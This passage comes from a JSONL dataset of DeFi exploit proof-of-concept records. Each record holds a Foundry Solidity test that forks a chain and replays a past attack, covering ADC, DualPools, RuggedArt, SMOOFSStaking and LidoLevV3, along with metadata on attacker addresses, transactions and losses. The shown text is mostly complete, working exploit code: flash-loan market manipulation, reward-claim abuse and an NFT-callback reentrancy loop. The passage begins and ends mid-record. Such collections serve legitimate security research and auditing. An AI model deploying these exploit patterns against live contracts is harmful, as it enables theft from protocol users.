MainPool(0xdE46fcF6aB7559E4355b8eE3D7fBa0f2730CDdd8);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n IERC20 AAVEETH = IERC20(0x0B925eD163218f6662a35e0f0371Ac234f9E9371);\n IUSDC private constant USDC = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IUniswapV2Router UniRouter = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));\n\n event TokensBought(uint256 amount);\n\n IAaveFlashloan AAVE = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);\n Help Helper;\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 19_138_640);\n }\n\n function testexploit() public payable {\n Helper = new Help{value: 18 ether}();\n\n WETH.approve(address(mainpool), 18 ether);\n WETH.approve(address(tick), 18 ether);\n WETH.approve(address(Helper), 18 ether);\n\n Helper.startwith();\n emit log_named_decimal_uint(\"Attacker WETH balance after exploit\", address(Helper).balance, 18);\n }\n\n fallback() external payable {}\n}\n\ncontract Help is Test {\n Ticket tick = Ticket(0xaE2C7af5fc2dDF45e6250a4C5495e61afC7AcF50);\n MainPool mainpool = MainPool(0xdE46fcF6aB7559E4355b8eE3D7fBa0f2730CDdd8);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n IWETH WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n\n constructor() public payable {\n emit log_named_decimal_uint(\"Attacker WETH balance before exploit\", address(this).balance, 18);\n tick.buyADC{value: 3 ether}();\n mainpool.joinGame{value: 15 ether}(address(msg.sender));\n //vulnerability.\n mainpool.calcStepIncome(529, 36_099_999_999_999_999_900, 100);\n }\n\n function startwith() external {\n mainpool.withdraw();\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "ADC", "date": "2024-02", "file_name": "ADC_exp.sol", "attack_vector": "flash_loan", "content_hash": "3bb7259f0229056f", "collected_at": "2026-01-07T10:59:16.514841", "_source": "postmortems", "chain": "ethereum", "block_number": 19138640, "total_lost_raw": "~20 ETH", "total_lost_usd": 20.0, "attacker_address": "https://etherscan.io/address/0x24a0c66f185874b251eb70bee2c2e35e39848419", "attack_contract": "https://etherscan.io/address/0x2ffdce5f0c09a8ee3a568bc01f35894b2d77a6d6", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "~20 ETH", "category": "flash-loan", "exploit_code": "function testexploit() public payable {\n Helper = new Help{value: 18 ether}();\n\n WETH.approve(address(mainpool), 18 ether);\n WETH.approve(address(tick), 18 ether);\n WETH.approve(address(Helper), 18 ether);\n\n Helper.startwith();\n emit log_named_decimal_uint(\"Attacker WETH balance after exploit\", address(Helper).balance, 18);\n }\n\n fallback() external payable {}\n}\n\ncontract Help is Test {\n Ticket tick = Ticket(0xaE2C7af5fc2dDF45e6250a4C5495e61afC7AcF50);\n MainPool mainpool = MainPool(0xdE46fcF6aB7559E4355b8eE3D7fBa0f2730CDdd8);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n IWETH WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n\n constructor() public payable {\n emit log_named_decimal_uint(\"Attacker WETH balance before exploit\", address(this).balance, 18);\n tick.buyADC{value: 3 ether}();\n mainpool.joinGame{value: 15 ether}(address(msg.sender));\n //vulnerability.\n mainpool.calcStepIncome(529, 36_099_999_999_999_999_900, 100);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://etherscan.io/address/0x24a0c66f185874b251eb70bee2c2e35e39848419", "keyinfo_attack_contract": "https://etherscan.io/address/0x2ffdce5f0c09a8ee3a568bc01f35894b2d77a6d6", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$20", "content_richness_score": 7.02, "quality_estimate": "medium", "title": "ADC Exploit (2024-02)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "import \"forge-std/Test.sol\";\n\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$42000 USD\n// Attacker : https://bscscan.com/address/0x4645863205b47a0a3344684489e8c446a437d66c\n// Attack Contract : https://bscscan.com/address/0x38721b0d67dfdba1411bb277d95af3d53fa7200e\n// Vulnerable Contract : https://bscscan.com/address/0x5e5e28029ef37fc97ffb763c4ac1f532bbd4c7a2\n// Attack Tx : https://bscscan.com/tx/0x90f374ca33fbd5aaa0d01f5fcf5dee4c7af49a98dc56b47459d8b7ad52ef1e93\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x5e5e28029ef37fc97ffb763c4ac1f532bbd4c7a2#code\n\n// @Analysis\n// https://lunaray.medium.com/dualpools-hack-analysis-5209233801fa\n\ninterface IMarketFacet {\n function isComptroller() external pure returns (bool);\n\n function liquidateCalculateSeizeTokens(\n address vTokenBorrowed,\n address vTokenCollateral,\n uint256 actualRepayAmount\n ) external view returns (uint256, uint256);\n\n function liquidateVAICalculateSeizeTokens(\n address vTokenCollateral,\n uint256 actualRepayAmount\n ) external view returns (uint256, uint256);\n\n // function checkMembership(address account, VToken vToken) external view returns (bool);\n\n function enterMarkets(\n address[] calldata vTokens\n ) external returns (uint256[] memory);\n\n function exitMarket(\n address vToken\n ) external returns (uint256);\n\n // function _supportMarket(VToken vToken) external returns (uint256);\n\n // function getAssetsIn(address account) external view returns (VToken[] memory);\n\n // function getAllMarkets() external view returns (VToken[] memory);\n\n function updateDelegate(address delegate, bool allowBorrows) external;\n}\n\ninterface VBep20Interface {\n function transfer(address dst, uint256 amount) external returns (bool);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function balanceOf(\n address owner\n ) external view returns (uint256);\n\n /**\n * User Interface **\n */\n function mint(\n uint256 mintAmount\n ) external returns (uint256);\n\n function mint() external payable;\n\n function mintBehalf(address receiver, uint256 mintAmount) external returns (uint256);\n\n function redeem(\n uint256 redeemTokens\n ) external returns (uint256);\n\n function redeemUnderlying(\n uint256 redeemAmount\n ) external returns (uint256);\n\n function borrow(\n uint256 borrowAmount\n ) external returns (uint256);\n\n function repayBorrow(\n uint256 repayAmount\n ) external returns (uint256);\n\n function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256);\n\n // function liquidateBorrow(\n // address borrower,\n // uint repayAmount,\n // VTokenInterface vTokenCollateral\n // ) external returns (uint);\n\n /**\n * Admin Functions **\n */\n function _addReserves(\n uint256 addAmount\n ) external returns (uint256);\n}\n\ncontract ContractTest is Test {\n WETH9 private WBNB = WETH9(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 private LINK = IERC20(0xF8A0BF9cF54Bb92F17374d9e9A321E6a111a51bD);\n IERC20 private BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 private BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);\n IERC20 private ETH = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);\n IERC20 private ADA = IERC20(0x3EE2200Efb3400fAbB9AacF31297cBdD1d435D47);\n\n VBep20Interface private vLINK = VBep20Interface(0x650b940a1033B8A1b1873f78730FcFC73ec11f1f);\n VBep20Interface private vBUSD = VBep20Interface(0xfD5840Cd36d94D7229439859C0112a4185BC0255);\n VBep20Interface private vWBNB = VBep20Interface(0xA07c5b74C9B40447a954e1466938b865b6BBea36);\n\n VBep20Interface private dLINK = VBep20Interface(0x8fBCC81E5983d8347495468122c65E2Dc274eed9);\n VBep20Interface private dBTCB = VBep20Interface(0xB51F589BD9f69a0089c315521EE2FC848bAB6C0c);\n VBep20Interface private dWBNB = VBep20Interface(0xB5aAaCcFd69EA45b1A5Aa7E9c7a5e0DB2ce4357e);\n VBep20Interface private dETH = VBep20Interface(0x5F4a5252880b393a8cc4c01bBA4486Cf7a76075A);\n VBep20Interface private dADA = VBep20Interface(0xb2cf43E119BFC41554c4445f1867dc9F4cf69deD);\n VBep20Interface private dBUSD = VBep20Interface(0x514e2A29e98D49C676c93c5805cb83891CE6a9F5);\n\n IMarketFacet VenusProtocol = IMarketFacet(0xfD36E2c2a6789Db23113685031d7F16329158384);\n IMarketFacet Dualpools = IMarketFacet(0x5E5e28029eF37fC97ffb763C4aC1F532bbD4C7A2);\n\n IDPPOracle DPPOracle_0x1b52 = IDPPOracle(0x1B525b095b7353c5854Dbf6B0BE5Aa10F3818FaC);\n IDPPOracle DPPOracle_0x8191 = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);\n\n IPancakePair pancakeSwap = IPancakePair(0x824eb9faDFb377394430d2744fa7C42916DE3eCe); // LINK-WBNB\n Uni_Pair_V3 pool = Uni_Pair_V3(0x172fcD41E0913e95784454622d1c3724f546f849);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 36_145_772 - 1);\n vm.label(address(this), \"AttackContract\");\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(LINK), \"LINK\");\n vm.label(address(BUSD), \"BUSD\");\n vm.label(address(BTCB), \"BTCB\");\n vm.label(address(ETH), \"ETH\");\n vm.label(address(ADA), \"ADA\");\n vm.label(address(vLINK), \"vLINK\");\n vm.label(address(vBUSD), \"vBUSD\");\n vm.label(address(vWBNB), \"vWBNB\");\n vm.label(address(VenusProtocol), \"VenusProtocol\");\n\n vm.label(address(dLINK), \"dLINK\");\n vm.label(address(dBTCB), \"dBTCB\");\n vm.label(address(dWBNB), \"dWBNB\");\n vm.label(address(dETH), \"dETH\");\n vm.label(address(dADA), \"dADA\");\n vm.label(address(dBUSD), \"dBUSD\");\n\n vm.label(address(Dualpools), \"Dualpools\");\n }\n\n function approveAll() internal {\n BUSD.approve(address(vBUSD), type(uint256).max);\n LINK.approve(address(vLINK), type(uint256).max);\n LINK.approve(address(dLINK), type(uint256).max);\n }\n\n function testAttack() public {\n approveAll();\n DPPOracle_0x1b52.flashLoan(7_001_000_000_000_000_000, 0, address(this), new bytes(1)); // borrow BUSD\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n console.log(msg.sender);\n if (msg.sender == address(DPPOracle_0x1b52)) {\n pancakeSwap.swap(0, 1000, address(this), data); // pancakeCall , swap BUSD to LINK\n BUSD.transfer(address(DPPOracle_0x1b52), 7_001_000_000_000_000_000);\n } else if (msg.sender == address(DPPOracle_0x8191)) {\n pool.flash(address(this), 70_000_000_000_000_000_000_000, 0, new bytes(1)); // v3call , borrow BUSD\n WBNB.transfer(address(pancakeSwap), 59);\n }\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n DPPOracle_0x8191.flashLoan(312_497_349_377_117_598_837, 154_451_704_908_346_387_787_280, address(this), data); // borrow WBNB and BUSD\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n address[] memory tokenList = new address[](2);\n tokenList[0] = address(vBUSD);\n tokenList[1] = address(vWBNB);\n VenusProtocol.enterMarkets(tokenList);\n vBUSD.mint(224_451_704_908_346_387_787_280); // 969266514517797 vBUSD\n WBNB.withdraw(312_497_349_377_117_598_837);\n vWBNB.mint{value: 312_497_349_377_117_598_837 wei}(); // 1320879335222 vBNB\n vLINK.borrow(11_500_000_000_000_000_000_000);\n\n dLINK.mint(2);\n LINK.transfer(address(dLINK), 11_499_999_999_999_999_999_998);\n address[] memory tokenList1 = new address[](1);\n tokenList1[0] = address(dLINK);\n Dualpools.enterMarkets(tokenList1);\n dWBNB.borrow(50_074_555_376_020_317_788);\n dBTCB.borrow(171_600_491_170_058_684);\n dETH.borrow(3_992_080_357_935_675_366);\n dADA.borrow(6_378_808_489_713_884_698_357);\n dBUSD.borrow(911_577_468_904_829_524_350);\n dLINK.redeemUnderlying(11_499_999_999_999_999_999_898);\n\n // LINK.transfer(address(this), 1000); // not necessary\n\n vLINK.repayBorrow(11_500_000_000_000_000_000_000);\n vBUSD.redeem(969_266_514_517_797);\n vWBNB.redeem(1_320_879_335_222);\n\n // BUSD.transfer(address(this), 7001000000000000000); // not necessary\n BUSD.transfer(address(DPPOracle_0x8191), 154_451_704_908_346_387_787_280);\n BUSD.transfer(address(pool), 70_007_000_000_000_000_000_000);\n\n WBNB.deposit{value: 362_571_904_345_528_150_166}();\n WBNB.transfer(address(DPPOracle_0x8191), 312_497_349_377_117_598_837);\n }\n\n receive() external payable {}\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "DualPools", "date": "2024-02", "file_name": "DualPools_exp.sol", "attack_vector": "flash_loan", "content_hash": "3dd21370b32ab20b", "collected_at": "2026-01-07T10:59:16.514895", "_source": "postmortems", "chain": "bsc", "block_number": 36145772, "total_lost_raw": "~$42000 USD", "total_lost_usd": 42000.0, "attacker_address": "https://bscscan.com/address/0x4645863205b47a0a3344684489e8c446a437d66c", "attack_contract": "https://bscscan.com/address/0x38721b0d67dfdba1411bb277d95af3d53fa7200e", "vulnerable_contract": "https://bscscan.com/address/0x5e5e28029ef37fc97ffb763c4ac1f532bbd4c7a2", "attack_tx": "https://bscscan.com/tx/0x90f374ca33fbd5aaa0d01f5fcf5dee4c7af49a98dc56b47459d8b7ad52ef1e93", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "~$42000 USD", "category": "flash-loan", "exploit_code": "function testAttack() public {\n approveAll();\n DPPOracle_0x1b52.flashLoan(7_001_000_000_000_000_000, 0, address(this), new bytes(1)); // borrow BUSD\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$42000 USD", "keyinfo_attacker": "https://bscscan.com/address/0x4645863205b47a0a3344684489e8c446a437d66c", "keyinfo_attack_contract": "https://bscscan.com/address/0x38721b0d67dfdba1411bb277d95af3d53fa7200e", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x5e5e28029ef37fc97ffb763c4ac1f532bbd4c7a2", "keyinfo_attack_tx": "https://bscscan.com/tx/0x90f374ca33fbd5aaa0d01f5fcf5dee4c7af49a98dc56b47459d8b7ad52ef1e93", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$42.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "DualPools Exploit (2024-02)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~5 $ETH\n// Attacker : https://etherscan.io/address/0x9733303117504c146a4e22261f2685ddb79780ef\n// Attack Contract : https://etherscan.io/address/0x9bb0ca1e54025232e18f3874f972a851a910e9cb\n// Vulnerable Contract : https://etherscan.io/address/0xfe380fe1db07e531e3519b9ae3ea9f7888ce20c6\n// Attack Tx : https://etherscan.io/tx/0x5a63da39b5b83fccdd825fed0226f330f802e995b8e49e19fbdd246876c67e1f\n\ninterface IRUGGEDUNIV3POOL {\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external;\n function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;\n}\n\ninterface IRUGGEDPROXY {\n function claimReward() external;\n function targetedPurchase(uint256[] memory _tokenIds, UniversalRouterExecute calldata swapParam) external payable;\n function unstake(\n uint256 _amount\n ) external;\n function stake(\n uint256 _amount\n ) external;\n\n struct UniversalRouterExecute {\n bytes commands;\n bytes[] inputs;\n uint256 deadline;\n }\n}\n\ninterface IRUGGED is IERC20 {\n function getTokenIdPool() external view returns (uint256[] memory);\n function ownerOf(\n uint256 id\n ) external view returns (address owner);\n}\n\ninterface IWeth is IERC20 {}\n\ncontract ContractTest is Test {\n IRUGGEDUNIV3POOL pool = IRUGGEDUNIV3POOL(0x99147452078fa5C6642D3E5F7efD51113A9527a5);\n IRUGGEDPROXY proxy = IRUGGEDPROXY(0x2648f5592c09a260C601ACde44e7f8f2944944Fb);\n IRUGGED RUGGED = IRUGGED(0xbE33F57f41a20b2f00DEc91DcC1169597f36221F);\n IWeth WETH = IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n uint256 flashnumber = 22 * 1e18;\n\n function setUp() public {\n // evm_version Requires to be \"shanghai\"\n cheats.createSelectFork(\"mainnet\", 19_262_234 - 1);\n cheats.label(address(proxy), \"proxy\");\n cheats.label(address(RUGGED), \"RUGGED\");\n cheats.label(address(pool), \"pool\");\n cheats.label(address(WETH), \"WETH\");\n cheats.label(address(0xFe380fe1DB07e531E3519b9AE3EA9f7888CE20C6), \"RuggedMarket\");\n cheats.label(address(0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD), \"Universal_Router\");\n }\n\n function testExploit() public {\n payable(address(0)).transfer(WETH.balanceOf(address(this)));\n deal(address(this), 0.000000000000000001 ether);\n emit log_named_uint(\"Attacker Eth balance before attack:\", WETH.balanceOf(address(this)));\n pool.flash(address(this), flashnumber, 0, abi.encode(0));\n bool zeroForOne = true;\n uint160 sqrtPriceLimitX96 = 4_295_128_740;\n bytes memory data = abi.encodePacked(uint8(0x61));\n int256 amountSpecified = int256(RUGGED.balanceOf(address(this)));\n pool.swap(address(this), zeroForOne, amountSpecified, sqrtPriceLimitX96, data);\n emit log_named_uint(\"Attacker Eth balance after attack:\", WETH.balanceOf(address(this)));\n }\n\n function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n proxy.claimReward();\n uint256[] memory tokenId = new uint256[](20);\n tokenId[0] = 9721;\n tokenId[1] = 5163;\n tokenId[2] = 2347;\n tokenId[3] = 3145;\n tokenId[4] = 2740;\n tokenId[5] = 1878;\n tokenId[6] = 6901;\n tokenId[7] = 3061;\n tokenId[8] = 1922;\n tokenId[9] = 5301;\n tokenId[10] = 454;\n tokenId[11] = 2178;\n tokenId[12] = 8298;\n tokenId[13] = 4825;\n tokenId[14] = 9307;\n tokenId[15] = 2628;\n tokenId[16] = 6115;\n tokenId[17] = 8565;\n tokenId[18] = 7991;\n tokenId[19] = 4945;\n\n bytes memory commands = new bytes(1);\n commands[0] = 0x04;\n bytes[] memory inputs = new bytes[](1);\n inputs[0] = abi.encodePacked(abi.encode(address(0)), abi.encode(address(this)), abi.encode(1));\n uint256 deadline = block.timestamp;\n IRUGGEDPROXY.UniversalRouterExecute memory swapParam =\n IRUGGEDPROXY.UniversalRouterExecute({commands: commands, inputs: inputs, deadline: deadline});\n\n proxy.targetedPurchase{value: 0.000000000000000001 ether}(tokenId, swapParam);\n proxy.unstake(RUGGED.balanceOf(address(this)));\n RUGGED.transfer(address(pool), flashnumber + fee0);\n }\n\n function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {\n return this.onERC721Received.selector;\n }\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n if (amount0Delta > 0) {\n IERC20(Uni_Pair_V3(msg.sender).token0()).transfer(msg.sender, uint256(amount0Delta));\n } else if (amount1Delta > 0) {\n IERC20(Uni_Pair_V3(msg.sender).token1()).transfer(msg.sender, uint256(amount1Delta));\n }\n }\n\n fallback() external payable {\n RUGGED.approve(address(proxy), type(uint256).max);\n RUGGED.balanceOf(address(this));\n proxy.stake(flashnumber);\n }\n}\n", "type": "exploit_poc", "protocol": "RuggedArt", "date": "2024-02", "file_name": "RuggedArt_exp.sol", "attack_vector": null, "content_hash": "b86cba36a2d88e18", "collected_at": "2026-01-07T10:59:16.514973", "_source": "postmortems", "chain": "ethereum", "block_number": 19262234, "total_lost_raw": "~5 $ETH", "total_lost_usd": 5.0, "attacker_address": "https://etherscan.io/address/0x9733303117504c146a4e22261f2685ddb79780ef", "attack_contract": "https://etherscan.io/address/0x9bb0ca1e54025232e18f3874f972a851a910e9cb", "vulnerable_contract": "https://etherscan.io/address/0xfe380fe1db07e531e3519b9ae3ea9f7888ce20c6", "attack_tx": "https://etherscan.io/tx/0x5a63da39b5b83fccdd825fed0226f330f802e995b8e49e19fbdd246876c67e1f", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "low", "severity_raw": "~5 $ETH", "category": "unknown", "exploit_code": "function testExploit() public {\n payable(address(0)).transfer(WETH.balanceOf(address(this)));\n deal(address(this), 0.000000000000000001 ether);\n emit log_named_uint(\"Attacker Eth balance before attack:\", WETH.balanceOf(address(this)));\n pool.flash(address(this), flashnumber, 0, abi.encode(0));\n bool zeroForOne = true;\n uint160 sqrtPriceLimitX96 = 4_295_128_740;\n bytes memory data = abi.encodePacked(uint8(0x61));\n int256 amountSpecified = int256(RUGGED.balanceOf(address(this)));\n pool.swap(address(this), zeroForOne, amountSpecified, sqrtPriceLimitX96, data);\n emit log_named_uint(\"Attacker Eth balance after attack:\", WETH.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "~5 $ETH", "keyinfo_attacker": "https://etherscan.io/address/0x9733303117504c146a4e22261f2685ddb79780ef", "keyinfo_attack_contract": "https://etherscan.io/address/0x9bb0ca1e54025232e18f3874f972a851a910e9cb", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xfe380fe1db07e531e3519b9ae3ea9f7888ce20c6", "keyinfo_attack_tx": "https://etherscan.io/tx/0x5a63da39b5b83fccdd825fed0226f330f802e995b8e49e19fbdd246876c67e1f", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$5", "content_richness_score": 8.66, "quality_estimate": "high", "title": "RuggedArt Exploit (2024-02)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : Unclear\n// Attacker : https://polygonscan.com/address/0x149b268b8b8101e2b5df84a601327484cb43221c\n// Attack Contract : https://polygonscan.com/address/0x367120bf791cc03f040e2574aea0ca7790d3d2e5\n// Vuln Contract : https://polygonscan.com/address/0x9d6cb01fb91f8c6616e822cf90a4b3d8eb0569c6\n// One of the attack txs : https://app.blocksec.com/explorer/tx/polygon/0xde51af983193b1be3844934b2937a76c19610ddefcdd3ffcf127db3e68749a50\n\n// @Analysis\n// https://twitter.com/AnciliaInc/status/1762893563103428783\n \n\ninterface ISMOOFSStaking {\n function Stake(\n uint256 _tokenId\n ) external;\n\n function Withdraw(uint256 _tokenId, bool forceWithTax) external;\n}\n\ncontract ContractTest is Test {\n ISMOOFSStaking private constant SMOOFSStaking = ISMOOFSStaking(0x757C2d1Ef0942F7a1B9FC1E618Aea3a6F3441A3C);\n IERC721 private constant Smoofs = IERC721(0x551eC76C9fbb4F705F6b0114d1B79bb154747D38);\n IERC20 private constant MOOVE = IERC20(0xdb6dAe4B87Be1289715c08385A6Fc1A3D970B09d);\n address private constant attackContract = 0x367120bf791cC03F040E2574AeA0ca7790D3D2E5;\n uint256 private constant smoofsTokenId = 2062;\n uint256 setCount;\n\n function setUp() public {\n vm.createSelectFork(\"polygon\", 54_056_707);\n vm.label(address(SMOOFSStaking), \"SMOOFSStaking\");\n vm.label(address(Smoofs), \"Smoofs\");\n vm.label(address(MOOVE), \"MOOVE\");\n vm.label(attackContract, \"attackContract\");\n }\n\n function testExploit() public {\n // For the purpose of this poc transfer Smoofs NFT token from original attack contract\n vm.prank(attackContract);\n Smoofs.transferFrom(attackContract, address(this), smoofsTokenId);\n Smoofs.approve(address(SMOOFSStaking), smoofsTokenId);\n\n // Set initial MOOVE token balance of this contract before attack\n deal(address(MOOVE), address(this), MOOVE.balanceOf(attackContract));\n MOOVE.approve(address(SMOOFSStaking), type(uint256).max);\n\n emit log_named_decimal_uint(\n \"Attacker MOOVE balance before exploit\", MOOVE.balanceOf(address(this)), MOOVE.decimals()\n );\n // In my case call to Stake() take some time when I ran POC for the first time.\n SMOOFSStaking.Stake(smoofsTokenId);\n SMOOFSStaking.Withdraw(smoofsTokenId, true);\n\n emit log_named_decimal_uint(\n \"Attacker MOOVE balance after exploit\", MOOVE.balanceOf(address(this)), MOOVE.decimals()\n );\n }\n\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4) {\n while (setCount < 9) {\n ++setCount;\n Smoofs.safeTransferFrom(address(this), address(SMOOFSStaking), smoofsTokenId);\n SMOOFSStaking.Withdraw(smoofsTokenId, true);\n }\n return this.onERC721Received.selector;\n }\n}\n", "type": "exploit_poc", "protocol": "SMOOFSStaking", "date": "2024-02", "file_name": "SMOOFSStaking_exp.sol", "attack_vector": null, "content_hash": "f158781465e5f2e7", "collected_at": "2026-01-07T10:59:16.515031", "_source": "postmortems", "chain": "polygon", "block_number": 54056707, "total_lost_raw": "Unclear", "total_lost_usd": null, "attacker_address": "https://polygonscan.com/address/0x149b268b8b8101e2b5df84a601327484cb43221c", "attack_contract": "https://polygonscan.com/address/0x367120bf791cc03f040e2574aea0ca7790d3d2e5", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "Unclear", "category": "unknown", "exploit_code": "function testExploit() public {\n // For the purpose of this poc transfer Smoofs NFT token from original attack contract\n vm.prank(attackContract);\n Smoofs.transferFrom(attackContract, address(this), smoofsTokenId);\n Smoofs.approve(address(SMOOFSStaking), smoofsTokenId);\n\n // Set initial MOOVE token balance of this contract before attack\n deal(address(MOOVE), address(this), MOOVE.balanceOf(attackContract));\n MOOVE.approve(address(SMOOFSStaking), type(uint256).max);\n\n emit log_named_decimal_uint(\n \"Attacker MOOVE balance before exploit\", MOOVE.balanceOf(address(this)), MOOVE.decimals()\n );\n // In my case call to Stake() take some time when I ran POC for the first time.\n SMOOFSStaking.Stake(smoofsTokenId);\n SMOOFSStaking.Withdraw(smoofsTokenId, true);\n\n emit log_named_decimal_uint(\n \"Attacker MOOVE balance after exploit\", MOOVE.balanceOf(address(this)), MOOVE.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "Unclear", "keyinfo_attacker": "https://polygonscan.com/address/0x149b268b8b8101e2b5df84a601327484cb43221c", "keyinfo_attack_contract": "https://polygonscan.com/address/0x367120bf791cc03f040e2574aea0ca7790d3d2e5", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.52, "quality_estimate": "low", "title": "SMOOFSStaking Exploit (2024-02)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n/*\n @KeyInfo\n - Total Lost: 33 $aEthwstETH\n - Attacker: https://etherscan.io/address/0x09f6be2a7d0d2789f01ddfaf04d4eaa94efc0857\n - Attack Contract: https://etherscan.io/address/0x12d85e5869258a80d4bebe70d176d0f58b2d68e4\n - Vuln Contract: https://etherscan.io/address/0xcd6ca2f0d0c182c5049d9a1f65cde51a706ae142\n - Attack Tx: https://app.blocksec.com/explorer/tx/eth/0x03543ef96c26d6c79ff6c24219c686ae6d0eb5453b322e54d3b6a5ce456385e5\n - Analysis: https://twitter.com/Phalcon_xyz/status/1753020812284809440\n*/\n\ninterface IBalancer {\n function flashLoan(\n IFlashLoanRecipient recipient,\n IERC20[] memory tokens,\n uint256[] memory amounts,\n bytes memory userData\n ) external;\n}\n\ncontract ExploitTest is Test {\n address aEthwstETH = 0x0B925eD163218f6662a35e0f0371Ac234f9E9371;\n address Balancer = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;\n address LidoLevV3 = 0xcd6ca2f0d0c182C5049D9A1F65cDe51A706ae142;\n address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 19_132_935 - 1);\n cheats.label(address(aEthwstETH), \"aEthwstETH\");\n cheats.label(address(Balancer), \"Balancer\");\n cheats.label(address(LidoLevV3), \"LidoLevV3\");\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\n \"Exploiter aEthwstETH balance before attack\",\n IERC20(aEthwstETH).balanceOf(address(this)),\n IERC20(aEthwstETH).decimals()\n );\n\n bytes memory userencodeData = abi.encode(1, address(this));\n bytes memory userencodeData2 = abi.encode(2, address(this));\n uint256[] memory amount = new uint256[](1);\n uint256[] memory amount2 = new uint256[](1);\n IERC20[] memory token = new IERC20[](1);\n\n token[0] = IERC20(WETH);\n amount[0] = 318_973_831_042_619_036_856;\n amount2[0] = 0;\n IBalancer(Balancer).flashLoan(IFlashLoanRecipient(LidoLevV3), token, amount, userencodeData);\n IBalancer(Balancer).flashLoan(IFlashLoanRecipient(LidoLevV3), token, amount2, userencodeData2);\n\n emit log_named_decimal_uint(\n \"Exploiter aEthwstETH balance after 